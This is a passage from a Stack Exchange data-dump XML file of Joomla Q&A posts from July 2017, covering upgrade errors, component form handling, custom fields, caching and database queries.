'asset_id' with type int(10).&#xA;  (From file 3.7.0-2017-01-08.sql.) Table 'uh46v_ucm_content' does not&#xA;  have column 'core_type_id' with type int(10). (From file&#xA;  3.7.0-2017-01-08.sql.) Table 'uh46v_languages' does not have column 'asset_id' with type int(10). (From file 3.7.0-2017-03-03.sql.) Table&#xA;  'uh46v_menu_types' does not have column 'asset_id' with type int(10).&#xA;  (From file 3.7.0-2017-03-03.sql.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have tried manual updates of earlier Joomla versions, i.e 3.6, 3.7 and also reinstalling 3.5.1 which is the current version - I'm guessing the site owner may have corrupted something when trying to update or roll back?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update 3: I have ran the Joomla FPA and the full details can be found &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=710&amp;amp;t=952644&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 4: Still no luck, all none core EXT's removed apart from Akeeba. There are some additional details &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=710&amp;amp;t=952644&amp;amp;p=3483624#p3483624&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still investigating, but any suggestions welcome.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="115" LastEditDate="2017-07-16T12:55:08.223" LastActivityDate="2017-07-16T13:20:50.713" Title="Class 'JInput' not found after updating to 3.7.3" Tags="|joomla-3.x|jinput|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21141" PostTypeId="1" CreationDate="2017-07-11T09:56:59.420" Score="1" ViewCount="867" Body="&lt;p&gt;I have been using Joomla for the last couple weeks and it seems straightforward so far and I understand the code in examples. I've successfully created a custom module that displays on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am trying to develop a custom component which is a lot harder. Basically it takes a form from the front end and I want to do something with that sent data on the backend. I will probable save to the database but for the moment I just want to retrieve that data and perhaps save the data to a text file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have a form like this on the front end view which is created by my component...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_example&amp;amp;task=file.submit'); ?&amp;gt;&quot; enctype=&quot;multipart/form-data&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; name=&quot;jform1[test][]&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; name=&quot;jform1[test][]&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...where does this form post to? Will it go to the site controller or admin controller?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to the data to go to the admin controller as there are options in there that are needed later to do something with the data (I plan to use cURL and send the data off somewhere else)&lt;/p&gt;&#xA;" OwnerUserId="11303" LastActivityDate="2017-10-27T13:19:56.690" Title="What controller does front end form data post to using a component" Tags="|joomla-3.x|component|form|controller|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21143" PostTypeId="2" ParentId="21139" CreationDate="2017-07-11T12:11:40.593" Score="0" Body="&lt;p&gt;You could use a 3rd party component such as ReDJ to manually create redirects from the first 2 URL's to the 3rd URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/redj/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ReDJ Component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;a href=&quot;https://www.selfget.com/documentation/redj-joomla25/create-a-redirection-rule.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is a bit more info about using regular expressions with ReDJ, additionally the component follows Henry Spencers implementation of these redirect rules, which can be found &lt;a href=&quot;https://dev.mysql.com/doc/refman/5.7/en/regexp.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-07-17T23:49:40.923" LastActivityDate="2017-07-17T23:49:40.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21144" PostTypeId="2" ParentId="18725" CreationDate="2017-07-12T08:02:32.817" Score="1" Body="&lt;p&gt;From the comments, it looks like this one is solved but in case others find this question, some things to check when a moved website is not working as expected:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the .htaccess file (in particular, check the &lt;code&gt;RewriteBase /&lt;/code&gt;, &lt;code&gt;Options +FollowSymLinks&lt;/code&gt; lines or any non-standard lines - compare with htaccess.txt for the default settings)&lt;/li&gt;&#xA;&lt;li&gt;the configuration.php file, check tmp and logs paths are correct, try setting &lt;code&gt;$live_site = '';&lt;/code&gt; if it's not already&lt;/li&gt;&#xA;&lt;li&gt;check for any &lt;code&gt;php.ini&lt;/code&gt; files in the root folder and also in the /administrator folder - &lt;code&gt;php.ini&lt;/code&gt; files are often not needed any more as you can configure PHP settings via cPanel or similar&lt;/li&gt;&#xA;&lt;li&gt;try disabling URL Rewriting in Global Configuration&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-07-20T09:56:51.390" LastActivityDate="2017-07-20T09:56:51.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21145" PostTypeId="1" CreationDate="2017-07-12T11:32:56.457" Score="1" ViewCount="45" Body="&lt;p&gt;I have one string value such as &lt;code&gt;The string contains double  spaces&lt;/code&gt;.&#xA;I am fetching this string as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$string = $jinput-&amp;gt;get('sports', '','raw');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It returns me correct result when there are no double spaces in a string. But, if there is a double space as above example, it omits the double space and gives:&#xA;&lt;code&gt;The string contains double spaces&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to get the string value as it is. Any idea how can I get this?&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2017-11-17T06:51:33.500" Title="Get string name with double spaces" Tags="|joomla-3.x|jinput|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21147" PostTypeId="1" AcceptedAnswerId="21150" CreationDate="2017-07-12T14:07:41.847" Score="1" ViewCount="341" Body="&lt;p&gt;I'm looking for an easy-to-configure contact form module which will accept file attachments and has email-to-admin functionality? Does anyone have any recommendations? There's a number of seemingly well-rated modules in the extensions directory, but I just thought I'd ask if anyone had experience with one that they found particularly good? &lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2017-07-14T09:52:39.340" Title="Recommendations for contact form module with file attachments?" Tags="|module|contact-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21148" PostTypeId="1" CreationDate="2017-07-12T14:28:59.743" Score="1" ViewCount="421" Body="&lt;p&gt;You can programmatically set the language of Joomla with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lang = JFactory::getLanguage();&#xA;$bla = $lang-&amp;gt;setLanguage('fr-FR');&#xA;$lang-&amp;gt;load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when you try to get sitename, it's not translated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication('site');&#xA;$sitename = $app-&amp;gt;get('sitename');  // &amp;lt;--- Still in English&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Did I miss something? Does &lt;code&gt;load()&lt;/code&gt; need an argument to load the translation of sitemap?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; One solution, using raw database query to get it: &lt;a href=&quot;https://stackoverflow.com/questions/19511362/get-joomla-sitename-in-different-language&quot;&gt;https://stackoverflow.com/questions/19511362/get-joomla-sitename-in-different-language&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2017-07-12T14:41:20.047" LastActivityDate="2018-01-14T17:09:15.903" Title="Set language for site name" Tags="|translation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21150" PostTypeId="2" ParentId="21147" CreationDate="2017-07-13T00:29:55.767" Score="1" Body="&lt;p&gt;Have you had a look at &lt;a href=&quot;https://extensions.joomla.org/extension/fox-contact-form/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fox Contact&lt;/a&gt;? It should do what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Please see &lt;a href=&quot;http://www.fox.ra.it/forum/20-form-fields/9293-attachments-upload-button.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt; as it contains some more information regarding the attachments/uploads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-07-14T09:52:39.340" LastActivityDate="2017-07-14T09:52:39.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21151" PostTypeId="1" AcceptedAnswerId="21201" CreationDate="2017-07-13T01:39:55.210" Score="2" ViewCount="126" Body="&lt;p&gt;I've been asked by a customer to match the font on mobiles to that on the desktop, I'm a bit out of touch with compatibility at the mo, but as far as i am aware if the browser cannot render the font then it chooses the next best thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the customer is using '[expletus sans][1]' on the site, yet on mobiles it displays differently to the desktop version. This isn't apparent in dev tools you actually have to check on a mobile, so I cant check it with dev tools to see which font it is using. So:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a way to check which font is loading on mobiles accurately from a desktop/laptop&lt;/li&gt;&#xA;&lt;li&gt;Can anyone advise of a site where i can check browser compatibility with specific fonts&lt;/li&gt;&#xA;&lt;li&gt;Any idea how I can load this font on mobiles?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The site is can be found [here][2]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-09-18T07:57:22.750" LastActivityDate="2017-09-18T07:57:22.750" Title="T3 framework with custom font - not working on mobiles" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21152" PostTypeId="1" AcceptedAnswerId="21154" CreationDate="2017-07-13T06:19:29.670" Score="2" ViewCount="266" Body="&lt;p&gt;I am using &lt;strong&gt;PHP Version 7.0.12&lt;/strong&gt; and &lt;strong&gt;Joomla Version 3.7.3&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I am facing this message &quot;&lt;em&gt;Your PHP Version Will Be Unsupported in Joomla! 3.3&lt;/em&gt;&quot;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mHlnx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mHlnx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per Joomla 3.3 System requirement: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Starting with Joomla! 3.3, the minimum required PHP version is being&#xA;  raised to PHP 5.3.10 or later!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but I already using later PHP version 7.0.12, why I am still getting this message? is any other thing I have to enable? or anything I missed? please suggest me...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11310" LastActivityDate="2017-07-13T09:51:45.280" Title="Your PHP Version Will Be Unsupported in Joomla! 3.3" Tags="|joomla-3.3.x|update|joomla-3.7|php7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21153" PostTypeId="1" CreationDate="2017-07-13T08:06:33.247" Score="1" ViewCount="556" Body="&lt;p&gt;After upgrade of Joomla on last version i have following problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I cant send contact information form from Breezing forms. I get 500 Server error: Internal Server Error&lt;/li&gt;&#xA;&lt;li&gt;I cant send user email notifications from administration area. I get 500 Server error: Internal Server Error&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In PHP log files i see this error message:  mod_fcgid: read data timeout in 45 seconds. I tried to increase some values from fcgid, but i it didn't solve my problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FcgidBusyTimeout 300&#xA;FcgidIOTimeout 250&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are no useful errors that i could start from. Does anyone have any experience on solving this kind of problems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could i debug this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla is now running on: PHP 5.4.28-1+deb.sury.org~lucid+1&lt;/p&gt;&#xA;" OwnerUserId="5324" LastActivityDate="2018-11-12T15:01:15.197" Title="Upgrade from 3.4 to 3.7.3 causing 500 error when trying to send email" Tags="|joomla-3.x|joomla-3.7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21154" PostTypeId="2" ParentId="21152" CreationDate="2017-07-13T09:51:45.280" Score="5" Body="&lt;p&gt;its a bug that will be fixed in the next release - nothing to worry about&lt;/p&gt;&#xA;" OwnerUserId="8965" LastActivityDate="2017-07-13T09:51:45.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21155" PostTypeId="1" AcceptedAnswerId="21164" CreationDate="2017-07-13T11:42:31.557" Score="2" ViewCount="2291" Body="&lt;p&gt;I have a query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query_add_analogue&#xA;  -&amp;gt;insert($db-&amp;gt;quoteName('#__parts_analogues'))&#xA;  -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;  -&amp;gt;values($value);&#xA;$db-&amp;gt;setQuery($query_add_analogue);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The table &quot;#_parts_analogues&quot; have two columns - &quot;original_id&quot; and &quot;analogue_id&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to ignore the insert function, when the pair of values already exist in table. There is no primary key in table.&lt;/p&gt;&#xA;" OwnerUserId="8039" LastActivityDate="2020-05-10T21:58:00.440" Title="Insert query with ignore of duplicates (without key)" Tags="|joomla-3.x|mysql|jdatabase|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21158" PostTypeId="1" AcceptedAnswerId="21159" CreationDate="2017-07-14T09:20:46.777" Score="4" ViewCount="4252" Body="&lt;p&gt;I have created some custom fields in my joomla article from backend now I want to fetch them in another component. What would be the code to achieve it? &lt;/p&gt;&#xA;" OwnerUserId="1864" LastActivityDate="2021-06-17T13:20:34.050" Title="How to fetch joomla article custom fields in another component?" Tags="|articles|custom-field|joomla-3.7|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21159" PostTypeId="2" ParentId="21158" CreationDate="2017-07-14T09:34:02.837" Score="5" Body="&lt;p&gt;You can use the following code to fetch custom field values by article id&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php       &#xA;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php'); //load fields helper&#xA;$customFieldnames = FieldsHelper::getFields('com_content.article', $article_id, true); // get custom field names by article id&#xA;$customFieldIds = array_map(create_function('$o', 'return $o-&amp;gt;id;'), $customFieldnames); //get custom field Ids by custom field names&#xA;$model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' =&amp;gt; true)); //load fields model&#xA;$customFieldValues = $model-&amp;gt;getFieldValues($customFieldIds , $item-&amp;gt;content_item_id); //Fetch values for custom field Ids&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://www.php.net/create_function&quot; rel=&quot;nofollow noreferrer&quot;&gt;php.net&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;create_function&lt;/code&gt; function has been DEPRECATED as of PHP 7.2.0, and REMOVED as of PHP 8.0.0. Relying on this function is highly discouraged.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;A modern replacement is simply to create a flat, indexed array of &lt;code&gt;id&lt;/code&gt; property values using &lt;code&gt;array_column()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$customFieldIds = array_column($customFieldnames, 'id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11277" LastEditorUserId="12352" LastEditDate="2021-06-17T13:20:34.050" LastActivityDate="2021-06-17T13:20:34.050" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21160" PostTypeId="2" ParentId="20585" CreationDate="2017-07-14T09:42:53.147" Score="5" Body="&lt;p&gt;For getting custom fields and values for Joomla articles, you can use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php       &#xA;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php'); //load fields helper&#xA;$customFieldnames = FieldsHelper::getFields('com_content.article', $artile_id, true); // get custom field names by article id&#xA;$customFieldIds = array_map(create_function('$o', 'return $o-&amp;gt;id;'), $customFieldnames); //get custom field Ids by custom field names&#xA;$model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' =&amp;gt; true)); //load fields model&#xA;$customFieldTitles = array_map(create_function('$o', 'return $o-&amp;gt;name;'), $customFieldnames); //Fetch names for custom fields&#xA;$customFieldValues = $model-&amp;gt;getFieldValues($customFieldIds , $item-&amp;gt;content_item_id); //Fetch values for custom field Ids&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps!&lt;/p&gt;&#xA;" OwnerUserId="11277" LastActivityDate="2017-07-14T09:42:53.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21161" PostTypeId="2" ParentId="18312" CreationDate="2017-07-14T09:52:10.543" Score="2" Body="&lt;p&gt;Try Joomla 3.7.*, custom fields option is included in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read article for help&#xA;&lt;a href=&quot;https://www.joomshaper.com/blog/how-to-use-joomla-3-7-custom-fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomshaper.com/blog/how-to-use-joomla-3-7-custom-fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11277" LastActivityDate="2017-07-14T09:52:10.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21162" PostTypeId="1" AcceptedAnswerId="21163" CreationDate="2017-07-14T11:10:29.397" Score="0" ViewCount="185" Body="&lt;p&gt;I have a banner module that shows 5 banners, and pulls from a single category, but multiple clients. Basically, the layout is 5 banners on top of each other, in a column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I have is that I want the 5 banners to rotate each time the page reloads. Currently, there is a delay in rotation. What I mean is, if I wait 45 seconds and click refresh the banners rotate no problem. But if I refresh within 20-30 seconds, nothing changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client wants the banners to rotate every refresh. I guess they think some user is frantically clicking &quot;refresh&quot; to see the same 5 banners rotate, I don't know. ???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: what can I change to make the banners rotate on each refresh no matter how soon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my module I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Advanced &amp;gt; Cache: No caching&#xA;Advance &amp;gt; Cache Time: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On General Configuration, under System I have these settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cache Handler: File&#xA;Path to Cache Folder: (default)&#xA;Cache Time: 1&#xA;Platform Specific Caching: No&#xA;System Cache: OFF - Caching disabled&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are there any other settings I am missing that I could adjust?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Melvins138&lt;/p&gt;&#xA;" OwnerUserId="1804" LastActivityDate="2017-07-14T13:02:38.893" Title="Banner Rotation Issue Joomla 3.7.3" Tags="|joomla-3.7|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21163" PostTypeId="2" ParentId="21162" CreationDate="2017-07-14T13:02:38.893" Score="2" Body="&lt;p&gt;There's the page cache plugin...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Extensions -&amp;gt; Plugin Manager -&amp;gt; System - Page Cache&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is quite heavy caching, and so should be unpublished for what you want to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, try ftping into the site and looking in the /cache folder.  If all caching is off, this should just have a &lt;code&gt;index.html&lt;/code&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that folder is empty, then it might be your server doing the caching rather than Joomla itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should really be able to do what you want even if progressive caching is being used elsewhere. &lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-07-14T13:02:38.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21164" PostTypeId="2" ParentId="21155" CreationDate="2017-07-14T13:11:14.510" Score="4" Body="&lt;p&gt;As you're using MySQL, you can create an unique index over your columns &lt;code&gt;original_id&lt;/code&gt; and &lt;code&gt;analogue_id&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use a raw query like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = 'INSERT IGNORE INTO ' . $db-&amp;gt;quoteName('#__parts_analogues') VALUES (&quot;your&quot;, &quot;values&quot;);&#xA;$db-&amp;gt;setQuery($query)-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works like an insert, but does not return an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that working without an index can lead to serious performance issues.&lt;/p&gt;&#xA;" OwnerUserId="11283" LastActivityDate="2017-07-14T13:11:14.510" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21165" PostTypeId="1" AcceptedAnswerId="21212" CreationDate="2017-07-14T17:04:33.913" Score="1" ViewCount="55" Body="&lt;p&gt;Okay, so we have a section of our server portioned off to be a nested test site.&#xA;However for whatever reason the below template causes an error in Joomla's php handler that it does not on the active site.  What it posts when access is attempted on the test site is:&#xA;Parse error: syntax error, unexpected 'var' (T_VAR) in /home/usaspo5/public_html/dev/usgnew/components/com_usg_progs/tmpls/default.php on line 4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script id=&quot;template&quot; type=&quot;text/html&quot;&amp;gt;&#xA;&amp;lt;% &#xA;    var d = new Date();&#xA;    d.setHours(0,0,0,0);&#xA;    var setprorate = prorate;&#xA;    var prorate = 0;&#xA;    proDateTime = proDate+' '+proTime;&#xA;    var cDateMySQL  = new Date(Date.parse(proDateTime.replace('-','/','g')));&#xA;    if ( d &amp;gt; cDateMySQL) {&#xA;        prorate = 1;&#xA;    } &#xA;    var btnOnClick = &quot;location.href='https://usasportgroup.com/component/usg_programs/index.php?option=com_usg_programs&amp;amp;view=program&amp;amp;pid=&quot;+pid+&quot;&amp;amp;site=&quot;+'&amp;lt;?=$_REQUEST['site']?&amp;gt;'+&quot;'&quot;;&#xA;    var btnTxt = &quot;More Info &quot;+&quot;|&quot;+&quot; Register&quot;.toUpperCase();&#xA;    var spacesClass = &quot;available&quot;;&#xA;    var spacesTxt = &quot;Available&quot;;&#xA;    if(spaces &amp;gt;= 10) &#xA;    { &#xA;        spacesTxt = &quot;Available&quot;;&#xA;        spacesClass = &quot;available&quot;; &#xA;    } &#xA;    else if(spaces == 0)&#xA;    {&#xA;        spacesTxt = &quot;Sold Out&quot;;&#xA;        spacesClass = &quot;soldout&quot;;&#xA;        btnTxt = &quot;More Info &quot;+&quot;|&quot;+&quot; Wait List&quot;.fontcolor(&quot;darkslategrey&quot;);          &#xA;    }&#xA;    else if(spaces &amp;lt;= 8 &amp;amp;&amp;amp; spaces &amp;gt;= 1) &#xA;    { &#xA;        spacesTxt = &quot;Spaces: &quot;+spaces;&#xA;        spacesClass = &quot;limited&quot;; &#xA;    }&#xA;&#xA;    if(pStatus == 3)&#xA;    {&#xA;        spacesTxt = &quot;Tentative&quot;;&#xA;        spacesClass = &quot;tentative&quot;;&#xA;        btnTxt = &quot;More Info &quot;+&quot;|&quot;+&quot; Notify Me&quot;.fontcolor(&quot;darkslategrey&quot;);          &#xA;    }       &#xA;    if(cat == ''){&#xA;        cat = &quot;noimage&quot;;&#xA;    }&#xA;    if(typeof pAlert != 'undefined'){&#xA;        var programAlert;&#xA;        programAlert = pAlert.replace(/(\r\n|\n|\r)/gm,&quot;&quot;);&#xA;    }&#xA;    if(product_refered ==&quot;Y&quot;){&#xA;    var price =&quot;Call&quot;;&#xA;    }&#xA;%&amp;gt;&#xA;    &amp;lt;div class=&quot;panel panel-programs&quot;&amp;gt;&#xA;        &amp;lt;div style=&quot;float:right&quot;&amp;gt;&#xA;        &amp;lt;% if(programAlert){ %&amp;gt;&#xA;            &amp;lt;button class=&quot;uk-button uk-button-danger&quot; onclick=&quot;UIkit.modal.alert('&amp;lt;%=programAlert%&amp;gt;')&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;uk-icon-info&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/button&amp;gt;&#xA;        &amp;lt;% } %&amp;gt; &#xA;            &amp;lt;div class=&quot;badge badge-&amp;lt;%=spacesClass%&amp;gt;&quot;&amp;gt;&amp;lt;%=spacesTxt%&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;button onclick=&quot;&amp;lt;%=btnOnClick%&amp;gt;&quot; class=&quot;uk-button uk-button-success register&quot;&amp;gt;&amp;lt;%=btnTxt%&amp;gt;&amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;div style=&quot;float:left;width:80px&quot;&amp;gt;&#xA;        &amp;lt;img class=&quot;&quot; src=&quot;components/com_usg_programs/assets/images/icons/&amp;lt;%=cat%&amp;gt;.png&quot;&amp;gt;&#xA;        &amp;lt;div style=&quot;clear:left;width:80px;font-size:11px;margin-left:4px&quot;&amp;gt;&amp;lt;%=sku%&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;span style=&quot;color:#262F3A&quot;&amp;gt;&amp;lt;%=program%&amp;gt;&amp;lt;br&amp;gt;Ages: &amp;lt;%=ageFrom%&amp;gt;-&amp;lt;%=ageTo%&amp;gt;&amp;lt;/span&amp;gt; | &amp;lt;%=session_type%&amp;gt;&#xA;        &amp;lt;hr&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;uk-container&quot; style=&quot;padding:0&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;uk-flex&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;uk-width-medium-4-10&quot;&amp;gt;&#xA;                    &amp;lt;i class=&quot;uk-icon-map-marker&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;%=city%&amp;gt;, &amp;lt;%=state%&amp;gt; &amp;lt;%=zip%&amp;gt;&#xA;                    &amp;lt;br /&amp;gt;&#xA;                    &amp;lt;i class=&quot;uk-icon-dot-circle-o&quot;&amp;gt;&amp;lt;/i&amp;gt; Distance: &amp;lt;%=distance%&amp;gt; Miles&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;uk-width-medium-4-10&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;uk-icon-calendar&quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;%=startDate%&amp;gt; - &amp;lt;%=endDate%&amp;gt;&#xA;                    &amp;lt;br 